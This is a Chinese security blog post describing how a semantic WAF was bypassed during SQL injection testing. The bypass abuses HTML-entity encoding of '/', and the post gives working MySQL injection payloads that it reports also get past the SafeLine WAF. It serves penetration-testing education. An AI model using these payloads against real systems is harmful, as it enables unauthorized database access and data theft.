HTML编码导致语义WAF绕过

admin 2024年5月21日21:26:46评论13 views字数 1050阅读3分30秒阅读模式

HTML编码导致语义WAF绕过

一位苦于信息安全的萌新小白帽

本实验仅用于信息防御教学,切勿用于它用途

公众号:XG小刚


项目上遇到一个waf类似语义分析,一旦SQL语句拼接成功就会拦截,规则很死。

HTML编码导致语义WAF绕过


测试过程

1、首先发现注入点是数字型

&type=4

尝试加减发现存在注入

&type=4-0&type=5-1

HTML编码导致语义WAF绕过

HTML编码导致语义WAF绕过

HTML编码导致语义WAF绕过

但是尝试使用除法发现不行,很奇怪

&type=4/1

HTML编码导致语义WAF绕过

2、尝试进行注释发现是括号包裹的,而且可以井号注释,说明是mysql数据库

&type=4)%23

HTML编码导致语义WAF绕过

尝试是否order by利用,发现被拦截

&type=4)order+by+1%23

HTML编码导致语义WAF绕过

然后尝试了许多东西,发现WAF偏向语义分析,而且不是云WAF


3、测试时候发现/**/也不能用,这很不合理

&type=4)/**/%23

HTML编码导致语义WAF绕过

4、这里就想到了很多,可能/**/正则替换掉了,也可能是特殊字符被转译编码

那就要尝试发现一下到底被怎么样了


想去测试被怎么了其实很简单,使用length函数去判断字符串长度变化

length('/**/')=?

正常长度是4,如果被正则替换了长度通常变为1或0或其他固定数值

在测试时发现长度并不是4,也不是1和0,那就可能是被转译编码


然后测试时发现只是/这个字符被操作了,长度变成了5

length('/')=5

这就为什么刚开始加减可以,除法则不行了。


使用substr进行截断匹配,发现substr被拦截,就使用了mid函数

mid('/',1,1)=?

最后发现/html编码为了/

&type=if(MID(%22/%22,2,1)=%22%23%22,4,1))%23

HTML编码导致语义WAF绕过

HTML编码导致语义WAF绕过


5、既然发现/被编码,就很大程度限制了绕过的思路。/**/不能用了

但是仔细研究发现,/被编码为/然后再拼接到语句里查询的,/里面有&拼接字符#注释字符,后面的47;都是可以被前面注释掉的,只要在后面添加%0a即可防止之后的语句被注释。

所以我们需要利用/拼接出一个完整的语句

&type=4)%26/%0a1#

正常上面语句一看就是无法执行的,但是将/换为/则变成下面语句

&type=4)%26%26#47;%0a1#

语句执行成功    

HTML编码导致语义WAF绕过


6、因为waf偏向语义分析

&type=4)%26/%0a(select+1+from+dual)#

这个语句在waf看来是肯定语法错误的,所以就不拦截了

HTML编码导致语义WAF绕过

如果是正常语句则会拦截

HTML编码导致语义WAF绕过    

到这就算彻底绕过了,后续查数据就正常查即可。

            

7、后面测试了长亭的雷池语义waf也不会拦截

HTML编码导致语义WAF绕过

HTML编码导致语义WAF绕过

原文始发于微信公众号(XG小刚):HTML编码导致语义WAF绕过

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月21日21:26:46
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTML编码导致语义WAF绕过https://cn-sec.com/archives/2762246.html

发表评论

匿名网友 填写信息